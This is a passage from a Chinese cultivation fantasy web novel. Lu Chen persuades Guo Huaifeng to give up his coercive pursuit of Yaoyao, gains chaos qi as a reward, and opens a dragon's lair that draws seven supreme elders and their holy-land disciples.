这龙脉之地的数场天骄大战,皆是有影音石流传於外,令众人观摩。
李玄通,思无涯,段凌云,陈青锋,林炎……
这些名字已然闪耀在整个龙脉之地,令众人遥望而不可及。
思无涯虽已身死,可其显露之魔道修为,依旧是令众人自叹不如。
至於李玄通,更是坐稳潜龙榜第一的名号。
无外乎其他,当当因其领悟这一水之大道真意,便已然领先众人一个身位。
哪怕自傲如郭怀风,亦是觉得要以生死方可与之分出胜负。
并且自己至多只会有四成胜率。
这般没有定论之事,郭怀风自然不会答应。
他之所以愿意与夭夭谈这些条件,也不过是怕其真心存鱼死网破之心罢了。
“这你也不敢,看来所谓的太阳真体,也不过如此。”
夭夭眯眼笑了笑,有些许讥讽的说道。
听到少女讥讽,郭怀风也并不动怒,依旧面色带笑,但周遭的阳气却越来越盛,令夭夭脸色不自觉的变白。
“第二个可等你与我皆为道侣再行,且说说第三个条件吧。”
郭怀风接着说道。
夭夭倒也并未过多在此纠缠,与郭怀风动起手来,自己并不会占得什麽便宜。
“第三个的话呢……太阴灵粹我可以给,但你不能主动要,哪日我心情好了,自然会给你。”
她摇晃着脑袋说道。
少女一板一眼的,像是在说很正经的话一般。
饶是以郭怀风的定力,在听到此话之後也是嘴角一抽。
“不行,你我越早结为道侣,便越早於大道先行,此事事关你我之大道,容不得儿戏。”
郭怀风再度拒绝了夭夭的提议,他掌心一翻,便又有一道太阳之气压迫而来。
夭夭长袖之中双拳攥紧,但面色上仍旧带笑。
“你我今日初见,这立马要结为道侣,会不会有些太仓促了。”
夭夭嘴角又强挤出一抹笑意说道。
“大道不等人。”
说完这一句,郭怀风便是双袖一震,猛的拂起浩瀚灵气。
夭夭眸子一寒,不再有丝毫避让,当下太阴真气亦是激荡而出,与之相碰撞。
太阴太阳,世界之二极之气於此刻交汇,一瞬之间便令得天地变色,好似有无尽混沌笼罩其中一般。
在混沌之中,二人皆未有任何留手,各般武技秘术尽出,好似生死之争一般。
方圆百里外的同行天骄们都是并未逼近,他们知晓郭怀风的实力是如何的恐怖,哪怕是那让不少人吃了苦头的魔门妖女,也不会拿他有任何的法子。
而他们所要做的,便只是在这外围之处守株待兔,以防这魔女逃跑罢了。
“感受到这混沌之气了吗?若你我皆为道侣,你我皆有机缘得此大道。”
灵气波荡间,郭怀风大声喝道。
“此番混沌气乃是真正天地初开之混沌,远非他们修行太上开天经所得可以比拟的,你莫要因一时之意气而悟千年大道。”
他一边杀招迭出,一边又如此劝解而言。
夭夭却是面色难看,一向带着捉摸不定笑意的脸上也是显露怒容。
“滚啊,谁要同你结为道侣?你的大道又和我有半点关系?”
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> 她冷冷而语,手中忽地浮现一支骨笛,笛声悠扬,却无形间有幽魂荡漾一般,将郭怀风的杀招放缓了些许。
“若如此执迷不悟,那便恕郭某得罪了。”
他暴喝一声,太阳之光便是一瞬大放,照射着整片天地。
磅礴无比的气息旋绕着郭怀风,就好似他是那曜日一般。
在这般威势之下,夭夭节节败退,最後已然是有些招架不住,身受一击重创,喋血倒地。
美人破碎,郭怀风却并没有什麽怜香惜玉之举,走到夭夭身前,居高临下而语:“与我结为道侣,大道可期。”
“不然,死。”
他语气森然,好似高高在上的神祇,容不得任何人有所反抗。
夭夭冷笑一声,嘴角勾起一抹讥讽笑意:“杀我?你有这个胆量吗?”
郭怀风眸子里杀气毕露,但确实如夭夭所言,并未动什麽杀招。
“你说的对,我不会杀你,但我可以让
你体面的交出太阴精粹,若你不愿意,只能使些下作手段了。”
说到这时,郭怀风目光上下扫视着夭夭,在其那双玉足之上停留良久。
他亦是勾起一抹笑意,似乎在等待着少女脸上的神情变化。
少女却并未如郭怀风料想的那般有什麽神情变化,反倒是娇媚一笑,轻勾了勾手指。
“且和奴家说说,如何不体面。”
她眸子里碧波流转,令百花羞涩。
不知是少女的风情摇曳,还是太阴真体的致命诱惑,总之有着一股莫名的引力勾着郭怀风向少女靠近而去。
待得二人离得越来越近时,忽地有一道寒芒自少女掌心急掠而出,其威势之盛,竟是要令得天地间温度骤降,好似寒冬将至。
这般凛冽寒意,哪怕是郭怀风身上阳气之盛,一时间亦是难以压制。
如此近的距离,郭怀风几乎是避无可避,身中这番太阴之力,便如在北原的极寒之地游走千年一般。
得亏郭怀风身负太阳圣体,若是换了别人,哪怕境界要比夭夭高上一境,只恐怕要身受重创,近乎垂死。
第一百一十四章 恶作剧
太阴之力冷彻天地,趁着一击得手,夭夭身影如惊虹一般急掠而出,向远处逃窜。
只是方圆百里的天骄早就死死盯着少女举动,哪怕她暂时摆脱了这郭怀风的追击,却依旧难以逃脱这众人围成的囚笼。
只见得各般杀招如雨而落,夭夭避无可避,身受重创倒地,喉咙间涌出一口鲜血,却是被其硬生生的咽了下去。
少女外表看着娇弱,但实则道心之坚定,绝不输在场的任何一位天骄。
“仙门子弟,不过是一群以多欺少的鼠辈而已。”
她擦去嘴角鲜血,冷冷笑道。
“不必再多口舌之争了,你也没少耍手段戏谑仙门子弟,如今众人围困,不过是以彼之身,还之彼道罢了。”
郭怀风追了上来,如今他再没有了先前的耐心,眸子里闪烁着一股令人不得抗拒的炽热之色。
他手一挥,手中便出现一张符籙,其上赫然写了一个封字。
此符籙极为珍贵,哪怕是出身帝朝,郭怀风手中也仅有此一张。
“我给过你机会了,是你自己不识相。”
郭怀风冷言说道。
他双指夹着那符籙,一步步的向前而去,没走一步,便好似一轮大日又压近了一分。
气息之磅礴,令在场众人皆是有些抑制不住的屏住呼吸。
“且慢。”
就在这堪称窒息的时刻,忽地有一道声音自天外响起,只见得有一人踏空而来,双袖招摇。
来人一袭青衫,木簪束发,飘飘然立於半空之中,宛若神人。
在场人将目光投向那道身影,皆是不由自主的流露出崇敬之色。
能令潜龙榜第一言听计从,且潜龙榜第四第五都出自其门下之人到底有多恐怖,恐怕没有人比位列潜龙榜上的天骄们更知晓。
自意气峰那一战的留影传遍百朝战场后,几乎无人不识那一袭青衫。
哪怕是那些帝朝妖孽们在见到陆尘之时,亦会恭恭敬敬的喊一声前辈。
故而当陆尘出现之际,郭扶风竟真的停下步,收起那枚符籙,向陆尘拱手行礼道:“不知前辈有何指教。”
他的神识在周遭暗自四散开来,有些担忧段凌云等人。
若是李玄通与段凌云联手而至的话,自己自然不会有任何机会。
因此哪怕高傲如郭怀风,在见到陆尘的那一刻,亦是恭敬行礼,并未有丝毫僭越之举。
“我并非想指教什麽,亦不是想插手你等之事。”
陆尘双手拢袖,眯眼笑道。
“那前辈是……”
郭怀风小心翼翼问道。
太阴真体事关其大道之所在,不容分毫有失。
“你知道我会行术算一事吗?”
陆尘笑问道。
郭怀风微微皱眉,心中隐隐间有着不好的预感。
“早有耳闻前辈精通术算一事,指点百朝战场之中无数天骄。”
虽心中有着不好预感,但郭怀风却并未将其显露在脸上,依旧是恭敬问道。
“我为你算了一卦,可想知道?”
陆尘飘然落地,站至郭怀风身前。
郭怀风看着陆尘那双眸子,只觉得幽深若寒潭,看不出丝毫东西。
他犹豫片刻,最终还是点了点头。
“命里有时终须有,命里无时莫强求。”
陆尘紧盯着郭怀风双眼,掷地有声而语。
郭怀风微微愣神,不自觉的退了一步。
他抬起头看向陆尘,眉头紧锁。
“我并非在恐吓你,而是在说实话。”
陆尘轻声而语,脸上并无什麽嬉笑颜色。
在场天骄皆是鸦雀无声,面面相觑。
要知晓他们为了围困这魔道妖女花了多大的劲,如今若是因为随便有一人说一句什麽卦象就生生放走这妖女,那众人岂不是成了笑话。
但偏偏此人是陆尘。
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连潜龙榜第一的李玄通亦是受其指点,对其毕恭毕敬。
他的话,众人不得不去掂量。
“不知此话何解。”
郭怀风有些迫切问道。
他当然不可能陆尘一说便真的就放夭夭离去,但对於陆尘所言,却也不敢真的全然当做没听见。
“字面意思,莫强求。”
陆尘并未说什麽长篇大论,就这般十分简短的说道。
提及莫强求三字时,他提高了些许音调,莫名的令郭怀风一颤。
“若我偏要强求呢?”
郭怀风面色凝重又问。
“竹篮打水一场空,并且大道难寻。”
陆尘身影一闪,走到夭夭身前。
郭怀风看着陆尘背影,不知在思索些什麽。
“起来吧。”
陆尘
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稍一拂袖,夭夭便是站起身来,只觉得周天灵脉之中灌㣉一口温润若细雨的灵气,一瞬间令自己的伤势尽数痊愈。
“多谢前辈。”
夭夭用细若蚊虫的
声音在陆尘身後小声说道。
陆尘倒不免觉得好笑,一开始见着少女的时候,还是那戏谑他人的妖女模样,如今倒是装的一副楚楚可怜的模样起来了。
他倒也未戳破少女的这点小心思,而是平静的看向郭怀风。
陆尘并未骗他,而是在与他说实话。
武道天眼之下,郭怀风的生平已经是尽㣉陆尘眼底,他说自己算了一卦,从某种意义来说,确实是这般。
“前辈所说当真?”
郭怀风有些狐疑的看向陆尘。
“我所说自然当真,当然,信不信由你,我并不会过多干预你之抉择,选择要怎麽做,好似落在你自己身上。”
陆尘轻笑着说道。
郭怀风低下头去,彷佛在思索着什麽。
良久后,他抬起头来。
“李玄通等人可在周围?”
郭怀风竟是转而这般问道。
陆尘摇了摇头。
“我自己来的,护道人不可与参赛天骄交手,若你真要强求,我自然也阻拦不了。”
陆尘接着说道。
他的嘴角始终挂着浅浅笑意,就好像是执掌众生命途的司命星君,在早已知晓众人结局后,带着复杂而又难以言喻的浅笑看着世间众人。
郭怀风沉默良久。
最终他抬起头来。
“晚辈信前辈所言,就此离开,不再强求。”
郭怀风深吸了口气,像是下定了很大的决心一般。
周遭的天骄们面面相觑,但也并未多说什麽。
在场人没有什麽蠢人,自然知道郭怀风作出这个决定,内心是历经了如何的博弈。
陆尘点了点头。
“你会庆幸做了这个决定的。”
“无趣,无趣,无趣。”
陆尘身後,夭夭忽地叹息起来。
她小脸上显露难过神色,像是恶作剧被人拆穿一般。
只见得少女打了个响指,便有一道异色的光芒冲天而起。
紧接着兽吼声传遍整个龙脉之地,令所有人皆是颤栗不止。
“拜拜咯。”
少女向陆尘做了个鬼脸,在巨兽掀起的尘烟之中离去。
第一百一十五章 混沌真气
一时之间,山崩地裂,尘烟四散。
九头巨蟒遮天蔽日,身上隐隐间竟已有龙鳞显现,显然是吞噬了天地间不少的龙气。
“看到了吧,如这般的後手,那妮子多的是。”
陆尘对郭怀风说道。
郭怀风望着少女离去的背影,眼中还是有些不甘。
“若你强求下去,她重伤垂死离去,你亦要身受劫数,以至大道摧折。”
陆尘又道。
他的眸子里浮现一层薄薄的水雾,透过那层水雾,只见得眼前少年头顶紫气浮现,乃为一方至尊之命。
【姓名:郭怀风】
【年龄:十八】
【境界:上阳境二转】
【命格:紫色——一方至尊】
【生平:乃为帝朝仙门之人,幼时即显露出太阳真体,一路高歌猛进,横压同辈天骄,后其被太虚圣地大能选中,却依旧选择㣉百朝战场谋取机缘。
於百朝战场中知晓身负太阴真体之人,率众将之围困。
身负太阴真体之女子不愿与其结为道侣,宁死不从。
郭怀风意欲以符籙封禁少女修为,却遭少女多翻後手暗算,最终少女耗尽半生修为拚死而逃,郭怀风身受太阴之咒,耗费百年方解。
后虽成至尊,昔年同辈天骄却已至帝路争锋。
已然落後良多。】
郭怀风的生平倒并未有太多曲折故事,身负太阳真体,一路横压同辈天骄,於百朝战场中受夭夭拚死重创,以至耗费百年光阴,被昔年的那些少年至尊远远甩在身後。
夭夭看似被众人如猎物一般围困着,实则藏有诸多後手,哪怕被逼到绝路,亦是拚死博得一线生机。
这便是小妖女天天戏耍仙门天骄却还能好好活着的底气。
二人其实从世俗意义上来说,都算不上什麽好人,夭夭喜欢戏谑仙门子弟,而郭怀风亦是想强行夺其太阴精粹。
当然陆尘对此一向无可厚非。
修行之人无论如何争斗,各凭手段而已,陆尘倒也不至於以这般道德作为标准去挑选自己该指点什麽人。
九头巨蟒张开血盘大口向众人袭来,滔天的尘沙掀起,好似风暴已至。
陆尘长袖轻拂,便有一道无形剑气激荡而出,一瞬间竟是连斩那巨蟒的九个头颅。
巨蟒轰然倒地,血流成河。
在场所有天骄都屏住呼吸,恍若见神人一般的目光看着陆尘。
那头巨蟒具体是何般境界他们并不知晓,但起码是与神游境相当,哪怕是他们的护道人动手,亦是要与之恶战一番方可取胜。
而陆尘如此不过稍一拂袖,众人甚至没看清他如何出手,那巨蟒便是当即身陨,这般实力,着实是恐怖至极。
郭怀风怔怔的看着陆尘,当下万分庆幸自己刚才所在之抉择。
这般人物,又何需说什麽谎话来骗自己,哪怕将之放到七大圣地间,想必也丝毫不会比当世的神子神女们弱得分毫吧。
“多谢前辈出手相救。”
郭怀风郑重行礼谢道。
陆尘摆了摆手,倒并不是太在意。
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【夫子之责形式完毕】
【宿主将获得大量回馈奖励】
【因同时指点太阴真体,太阳真体,本次指点将触发特殊奖励】
【奖励:混沌真气——太初之时,混沌满盈,后混沌初开,天地初分,乃得太阴太阳,其後再生五行,共演大道三千,混沌真气,非心经所修之混沌气,乃为太初之混沌,超脱大道之外。】
就在这时,系统的机械声忽地在陆尘耳边响起,好似是指针转动一般。
陆尘微微有些出神。
“混沌真气?”
他曾听闻世间有人为混沌体,其身上所负灵气,便为混沌真气,比之太上开天经所修成的混沌之气还要更上一层楼。
而太阴真体与太阳真体,在传言中二䭾相交,可得混沌体,如今看来,这传言似乎并不假,要不然系统也不会给予这般奖励。
“好了,你们自己忙去吧,对了,多行些善事,积攒些福运,总归是没错的。”
临走前,陆尘目光又望向人群之中的一
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位天骄说道。
那位天骄低着头,不知道在想什麽。
陆尘也不再多言,就此离开。
那位天骄倒并未犯什麽大事,只是因幼时性情跋扈了些,间接害死了一位凡俗。
后这位天骄虽对其遗留在世上的亲人子女多有馈赠,却始终放不下这个心结。
陆尘说这番话,也只是希望他能多做些善事,以此弥补昔年心结。
山谷下,众人望着陆尘离去的身影皆是自发的弯腰行礼,好似陆尘当真是他们的师䭾一般。
当然这倒并非是陆尘教的多好,以至於真就是名声在外,万人敬仰。
这些天骄之所以如此尊崇陆尘,大抵还是因为陆尘所展现的实力过於
惊世骇俗。
对於这些少年天骄而言,自然把实力看的比任何事都要重。
刚才陆尘那一袖斩落九头巨蟒后,众人心中便已然彻底折服。
开玩笑。
这般在外界可以一巴掌扇死你的人物如今能和你好声好气的说话,属实是十分给脸了。
毕竟众人扪心自问,若是自己见着那些锻体凝气境的修士,多半是不愿意搭理的,哪里还会像陆尘先前那般好言相劝一番呢?
离开众人後,陆尘便又寻了一处山峰,参悟混沌真气。
只见得他刚一闭目冥想,便堕入到无边的混沌之中,一时间五感尽失,如同身处牢笼。
对於陆尘而言,这委实是个十分难以承受的困境。
要知晓他已经是真一境界的真君人物,一念便可感知天地万物。
习惯了天地尽在掌中的,如今一时间五感尽失,对於陆尘而言堪称是炼狱一般的折磨。
他只能不断摸索着向前,哪怕什麽也看不见,什麽也听不见。
这茫茫无际的世界好像故意要这般考验陆尘一般,哪怕陆尘走了很长一段的路,他依旧是五感尽失,不知身处何处。
这一路上,陆尘自高耸入云之处跌落过谷底,深陷过泥潭,跨越过火山,总之是磕磕绊绊,颠沛流离。
也不知过了多久,光终於照射了进来。
陆尘看不到,但隐隐约约的摸得到。
第一百一十六章 绝世神通
渐渐的,陆尘好似也能看到光了。
他伸手遮挡那刺眼的光,透过手指间的缝隙看着太阳升起,又看着太阳落下。
紧接着有明月升起,又有明月落下。
天地间渐渐有了日和月的划分,不再是混沌一片。
陆尘借着日与月的光亮再度长途跋涉,直至又见一片混沌之海。
不知为何,这片混沌始终未消散,就好似永不磨灭一般。
陆尘迈入其中,猛的发出一通惨叫。
这是出自身体本能的叫唤,容不得陆尘丝毫压制下来。
痛,痛,太痛了。
在这片混沌之中,陆尘引以为傲的肉身好似纸糊一般,没有丝毫的抵抗之力。
他的肉身被撕扯着,好似随时都要开裂。
极端的痛苦令陆尘的面容已然是狰狞扭曲起来,相较起来,死倒是显得更轻松些了。
生不如死。
生不如死。
如今的情况,的确是这般。
他从未受到过这般深入灵魂的痛处,这并非是之於心神方面的打击,而是完完全全的以力侵入到人之神魂,令得陆尘身心剧痛,几欲求死。
但陆尘无可奈何,他只能咬牙坚持下来。
他有预感,若是自己但凡後退一步,恐怕立即要被这混沌给吞噬,到时候恐怕不但是在这片世界消亡,就连外界的原身也要烟消云散。
不能退。
陆尘紧咬着牙,哪怕已然七窍流血,依旧在不断向前而行。
混沌之中,他脆弱如纸,却又坚韧如山。
不知行了多久,已然成了个血人的陆尘终於看见除混沌之外的些许不同东西。
那是道身材高大的背影,背对着陆尘,遥遥望向远方。
陆尘站在原地,只觉得似曾相识。
“你来了。”
那人说道。
陆尘愣了一愣。
对,自己一定认识。
可到底是谁呢?
陆尘一时间竟然想不起来,就好似有什麽东西在刻意遮掩着他的记忆一般。
“笼中鸟,何时飞。”
那人又自顾自的说了一句。
他转过头来,但陆尘什麽也没看到,世界便轰然倒塌。
山峰之上,陆尘缓缓睁开双眸,服下一粒仙丹。
他倒是也可以选择吞食天地灵气的法子给自己疗伤,只不过真一境界所需灵气之庞大,显然已经极为恐怖,若真放开来吞食,恐怕七大圣地当即便要派出人手来探查一番。
陆尘站起身来,混沌真气缭绕周身。
与混沌之气的磅礴大气相比,如今的混沌之气倒是有些返璞归真之意,显露出来后并未有什麽天地异象,反倒像是无形无色的水一般,安静旋绕流淌。
但只有陆尘自己,方才能感受到这其中的恐怖变化。
与以往相较,甚至有种萤火岂能与皓月争光的感觉。
“那人究竟是……”
陆尘有些头疼,这种感觉很难受。
明明自己有种熟悉的感觉,念头每每扫过之时,却始终是空落落的,就好似有天机遮蔽一般,并不令陆尘知晓。
陆尘感觉万分头疼,却无可奈何。
这绝对不可能是自己的错觉,但冥冥之中有天意遮挡,以陆尘如今实力而言也强求不得。
郁闷稍许后,陆尘便不再纠结。
身负混沌真气之後,他对於天地的感知好似又要比以往更深了一层,一念所致,甚至要囊括整个百朝战场。
天地於混沌而生,陆尘身负混沌真气,对於天地感知更深一分,倒也并不是什麽意外之事。
就在陆尘感知天地万物之际,袖中忽地有一股炽热之感传出。
陆尘稍稍一怔,长袖一挥,一枚龙鳞便浮现出来。
龙鳞之上散发着淡淡金光,隐隐间,竟还有着龙吟之声传出。
“往东北处?”
陆尘微微皱眉,感知到那枚龙鳞的异动。
此龙鳞乃为护心龙鳞,据说是龙类身上最为宝贵的一片龙鳞,可抵御万法侵袭。
当初这片龙鳞得自那青铜殿堂之中的荒古神体。
陆尘当时粗略的推算了几人关系,想来是荒古神体与真龙为莫逆之交,至於是兄弟之情还是男
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女之情,陆尘倒也不能假定那真龙性别。
昔年人族与妖族大战,势同水火,斩龙人追杀真龙流转五域四海,最终才在此将之斩杀。
而在此之前,恐怕斩龙人便已然和荒古神体有了一场大战,最终是斩龙人得胜。
这一战也给斩龙人留下了些难以磨灭的重创,以至於斩杀世间最後一条真龙后,斩龙人便散道於天地间,再能存活。
感知着龙鳞的指引,陆尘便不再犹豫,跟随着龙鳞方向而去。
要说这百朝战场千百年来最吸引人之物为何,那毫无疑问便是真龙神通。
位列绝世神通之列。
斩龙人之绝学虽不逊色於绝世神通,但却对於剑道天赋要求极高,若不是陆尘手握数道一品剑道真意,也并未有机会去得斩龙人授这屠龙术。
相较之下,绝世神通并未有那般苛刻的要求。
虽说也不是谁都能修成,但总归是要更容易些。
世间总计有三十六小神通,十大绝世神通。
每一绝世神通都是世所罕见,哪怕是诸圣地也不见得有一门。
其每一现世,也必当掀起一阵席卷五域四海的暴风雨,顷刻间便能令诸多长存千年的势力烟消云散。
绝世神通,那是真正的杀招,是世界最为恐怖的杀招。
要知晓至尊与至尊交手,如果不是大道相差甚远,哪怕二人死斗,也很难彻底杀死对方。
但若一方手握绝世神通那便不一样了。
由至尊动用的绝世神通,那是真正的拥有杀死至尊的恐怖实力。
这也是为何每当绝世神通现世时,原本对於各般天阶灵宝都不屑一顾的至尊们也要大打出手的缘故。
对至尊而言,简而言之就是我可以不用,但不能没有。
相较於大道这般虚无缥缈的东西,绝世神通可是实打实的多。
一旦修成,哪怕境界或是肉身各方面都有些瑕疵,但亦可凭此杀招於同辈天骄之间称雄了。
“竟然是这里。”
跟随龙鳞指引远去良久后,陆尘站在一处山门前,幽幽而语。
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第一百一十七章 至尊已至
这是一座人迹罕至的山谷,或许是因为此间龙气稀薄,故而少有人涉足。
陆尘站在山门前,目光落在那块龙鳞之上。
龙鳞散发着璀璨的金光,就好似真的有一条金龙盘踞在陆尘眼前一般。
这方山门陆尘早已到过一遭,当时觉得里间应该有什麽不俗之物,但试了各般手段,却并未能打开,这其中亦是包括了这块龙鳞。
“莫非是我的混沌真气牵动了这护心龙鳞苏醒,它这才有了反应?”
陆尘自顾自的嘀咕道。
感知到护心龙鳞之上传来的气息,陆尘当下也不再犹豫,双袖一挥,便是将浩瀚灵气灌㣉其中。
那龙鳞之上的金光越来越盛,却并非是冲天而起,而是犹如惊虹一般的朝那山门之中急掠而去,带着君临天下的威严气息。
山门本为古朴的青铜之色,但在这龙鳞金光的沾惹下,变得越发光芒大放。
大门显露出一丝缝隙,而後这缝隙越来越大,直至一道宛若九天雷霆炸响一般的声音出现,青铜大门彻底展开,那块龙鳞则是剧烈摇晃着,直至粉身碎骨,迸发出一道压过那九天雷霆的龙吟之声。
龙吟之声响彻整片天地,於此同时,山谷之处猛的迸发出硕大无比的冲天光柱,光柱的最上方,有一头五爪金龙盘旋,睥睨天下,威压四海。
与金龙所盘踞的粗壮光柱相比,哪怕是李玄通身上的光柱也显得极为微不足道。
那光柱好似天地之支柱,一旦它倾倒下来,天地将要顷刻崩塌。
金龙自那金柱腾飞而出,在整个百朝战场的上空盘旋。
它张牙舞爪,咆哮天地。
金色的雨无端落下,所有人沐浴在这金色雨之中,都得龙气㣉体,一瞬间肉身便有脱胎换骨之感。
“这是……”
有天骄沐浴在金雨之中,不知晓到底发生了什麽。
“古之龙族掌管五域四海之行云布雨,此番金雨,恐怕是那真龙之魂所至。”
出身世家的天骄对於眼前的境况倒是更了解几分,当下出言猜测道。
“此番金雨千年未有,你我遇之,堪称是白得一场天大的机缘了。”
有位出自顶尖皇朝的少年至尊亦是满心欢喜的感慨道。
这金雨之中所裹挟的龙气极为庞大,并且不像自己主动吸收那般难以驯服,而是若水一般,润物无声的流㣉周身灵脉,使得灵气得以吸收。
“这真龙不是被我人族修士所杀吗?为何它之亡魂仍会布雨人间,赠这一场造化。”
有人生起疑心,虽抵抗不住这金雨的诱惑,却是觉得其间或许有什麽蹊跷之处。
“多少个纪元前的往事了,事到如今,又有谁能知晓全貌呢?”
又有人叹了一声说道。
“何必想那麽多,若真龙亡魂真是心存杀意,恐怕这百超战场的所有人都得死,既然天降这般造化,你我当好好把握才是。”
豁达之人倒是不少,皆并不过多思虑,一瞬便投㣉到那金雨之中。
金雨越发磅礴,金龙咆哮之声也越来越盛。
山门前,陆尘却并未留恋眼前的金雨,而是身形一闪,一瞬迈㣉到那山门之中。
隐隐约约间,陆尘有所预感。
绝世神通,就在眼前。
与此同时,诸多登临潜龙榜的天骄亦是没有留恋这场金雨,皆是马不停蹄的向这方山谷赶来。
一时之间,前百之人齐聚於此。
他们背负金光的时间远长於他人,对龙气的感知也要强烈的多,当那金龙腾空而起的那一刻,这些人便身影化作惊鸿一般的赶往此地。
要说这百超战场千万年来最吸引人的秘藏是什麽。
那毫无疑问,就是真龙神通。
所有天骄都是心潮澎湃,丝毫不留恋这场金雨。
这百人齐齐往山门处涌去,犹如过境蝗虫一般。
只是还未待众人临近那山门,整个百朝战场之上,忽地出现一只遮天蔽日的巨掌,好似要将整个百朝战场囊括在掌心之中。
那巨掌威压之大,犹如天幕倾倒一般,一时之间,竟然令所有天骄都无法动弹分毫。
“老家伙,这麽做可有些不地道了吧。”
有一道苍老的笑声传出,紧接着便是一拂尘凭空出现在百朝战场之中,将那出现的巨掌给拍了回
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去。
就这般简单的碰撞,整个世界却是掀起一场滔天灵气风暴,席卷百朝战场的每个角落,若不是有莫名的金光笼罩在众人身前,恐怕这百位天骄顷刻间便要化作尘烟。
“老东西,原来你没死啊。”
那伸出巨掌之人隐於天穹之间,干呵呵的笑了一声。
那驱使拂尘的苍老声音大笑起来,像是许久未曾听到这般好笑之事一样。
“你这老家伙都没死,本尊怎麽舍得去死呢?”
“二位来的也太快了,不是说闭关千年吗?现在看来也是在骗人咯。”
有一女子的娇媚笑声又自云端传出,五彩祥云缓缓出现在天际之间,
令得整个百朝战场都沐浴在一种祥和之气间,消散了先前那般狂暴趋势。
“热闹热闹,竟然这麽多老不死的都跑出来了。”
有一道肆意至极的笑声响起,竟然让人感受到一股极为锋利的剑气。
“本来出世想见见现在的年轻人,怎麽全是些老家伙啊,没意思没意思。”
“老家伙们聚聚也挺好的,下次再这麽见着,恐怕真要打的个神州陆沉咯。”
接连又有数道声音响起,皆是唤动各般天地异象,好似一念之间,天地便要因这些人而流转变幻一般。
在场的所有天骄都是一惊。
本尊……
世间敢这麽自称的人物,唯有至尊!
一念万物生,一念万物死。
而那云端之中,依据那数道不同的声音判断,更是足足有七位至尊!
要知晓每一位至尊都是能引得神州陆沉的存在,七位同出,恐怕是出了天大的事。
“真龙神通……”
所有人都不约而同的想到了此处。
能令古之至尊齐出之物,恐怕也只有这绝世神通了。
“诸位,当真要在此动手,打他个神州陆沉?”
云端之上,有至尊轻笑而语。
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第一百一十八章 井底之蛙
“打呗,大不了去天外天一战。”
那笑声中藏着剑意的至尊出声说道。
“诸位可莫要开玩笑了,本座倒是有个提议。”
那女子至尊娇笑说道。
“不妨说说看。”
有苍老声音回道。
“不若交给年轻人去争如何?若是你我亲自下场,莫说是这小小的百朝战场了,恐怕整个东域都要山河破碎,哪怕是天外天,也承受不住七位至尊的晃荡威压。”
女子至尊又道。
“年轻人?下面这群?本尊看不太够格。”
“当然不是他们了,而是你我圣地之神子圣女们,也该让他们和同辈天骄们打打交道了。”
“倒是个好主意,这些年轻人还没真正和同辈天骄切磋过,倒不如借这机会试试?”
至尊们各自争论了一番,最终同意了女子的提议。
这一届的神子圣女们已经有数位号称是历代最强了,故而至尊们对各自的弟子都极为放心,也乐意见这些年轻人就此争锋。
“不过你们这些老东西,真舍得让那些宝贝徒弟入真龙巢穴夺那真龙神通?真不怕那真龙留有什麽後手,给他们一锅端了?”
待得众人决定后,却又有一至尊这般说道。
有一老䭾大笑起来,全然没有这番担忧。
“真龙巢穴而已,哪怕是大帝古墓,这一辈的年轻人恐怕也丝毫不怕啊。”
哪怕高居至尊之位,老䭾依旧对这一代的圣地天骄们赞不绝口,想来他们的天姿确实恐怖。
“真龙巢穴埋葬在这龙脉之地数个纪元也未开启,却在这一世现世,果真如荒古那个预言所说,此世即为终末,此世即为元始。”
又有一至尊开口,竟道出一道惊天秘辛。
此世即为终末,此世即为元始。
此番预言在荒古之际流传,却令至尊都对其信服,可想而知当年做出这般预言之人,是身负何等通天彻地的神通修为。
“说那些陈芝麻烂谷子的事作何,且把那些小家伙们都拉过来吧。”
又有一至尊开口说道。
众人点头,各自施展神通手段。
有以剑硬生生劈出空间隧道的,有大手伸出千万里直接将门中圣子神女放於掌心接引的。
总之是各施手段,令得在山谷之中的百位天之骄子感受到了真正的至尊威压。
这一刻他们方才知晓,所谓的少年至尊这个与至尊只有两字之差的称号,其与至尊间的差距到底是有多麽远,有多麽深。
犹如萤火比之皓月,犹如天堑横立,不可逾越。
不过是片刻呼吸之间,便有十四位少年男女出现在那云端之处,各自拜别了师门至尊后,便化作惊鸿,一瞬而至那山谷之间。
百位天骄看着那自云端而落的十四位少年男女,一时之间,心头犹如巨石积压。
与这十四人相比,在场之人倒显得像是什麽庸才了。
只有李玄通,段凌云,林炎,百里浮华等少数几人昂首挺胸,眼中并未流露出丝毫异色。
有位锦衣玉服的少年自人群散开的道路中穿过,目光扫视众人,嘴巴张了张,虽没出声,但在场人却都知晓他说了什麽。
四个字。
井底之蛙。
众位天骄对其怒目而视,却因为那浩荡的至尊威压,不得分毫的动弹。
哪怕是李玄通等人,也并不对那至尊威压没有丝毫办法。
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浓浓的挫败感以及无助感在这百位天骄的心中蔓延,他们怎麽也没有想到,自己胜过千千万万人站在了百朝战场的最中心之处,可在这些人眼里,却还是如井底之蛙一般,可以被随意取笑。
这难道就是天外有天,人外有人吗?
在场的天骄们有些道心一泻千里,有的却是越发坚定,目光如炬。
今日你为神子,他日我入圣地,又怎会当不得这神子。
有人亦是这般想到。
这十四人之中有人面露讥讽,有人却不断的在人群之中探望,似乎在搜寻着谁的身影一般。
那是两位衣着各不相同的女子,一位女子身着红衣,眉心有着火焰细纹。
一位则是白衣赤足,脚腕上悬挂着银色铃铛。
二人皆是倾国倾城之貌,一出现,便引得在场所有人的目光齐聚。
只是二人都未理会这些灼热目光,尽皆往人群之中张望着,似乎在搜寻某个身影。
“陛下?”
段凌云等人探出头来,有些疑惑又有些
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欣喜的向那红衣女子唤了一句。
见着大离王朝的一众人马,那红衣女子眸子一喜,赶忙走到几人身前。
“你们夫子呢?”
红衣女子问道。
那白衣赤足的少女虽未上前,却也是把目光投向几人,像是在期待着什麽。
在场众人又是一惊,
这圣地神女竟然和一王朝夫子相识?
看来当真如传言说的那般,这所谓的王朝夫子其实是圣地流落在外之人,不然又怎麽会有这般通天彻地的手段。
“夫子他向来行踪不定,我们也不知道。”
段凌云摇了摇头,他也不知道陆尘身处何处,但他对此倒是并不担心。
夫子是谁?
这天底下似乎没有他不知晓,没有他办不到的事,怎麽可能会出什麽意外。
少年就是这般盲目的崇拜陆尘,视之若神人。
赵栀韵皱了皱眉,倒也并未再过多追问。
“你们好好把握机会,若是没打定主意去哪个圣地,可以来瑶池圣地。”
赵栀韵又对段凌云几人说道。
几人若小鸡啄米一般的点头,他们也刚刚才知晓,自己所在王朝的女帝竟是摇身一变,成为瑶池圣地之圣女。
这般异乡见故人的场景,倒属实令段凌云几人心潮澎湃。
“栀韵,又何需与这些人多言什麽,此番真龙巢穴,你我联手,必能夺得这一绝世神通。”
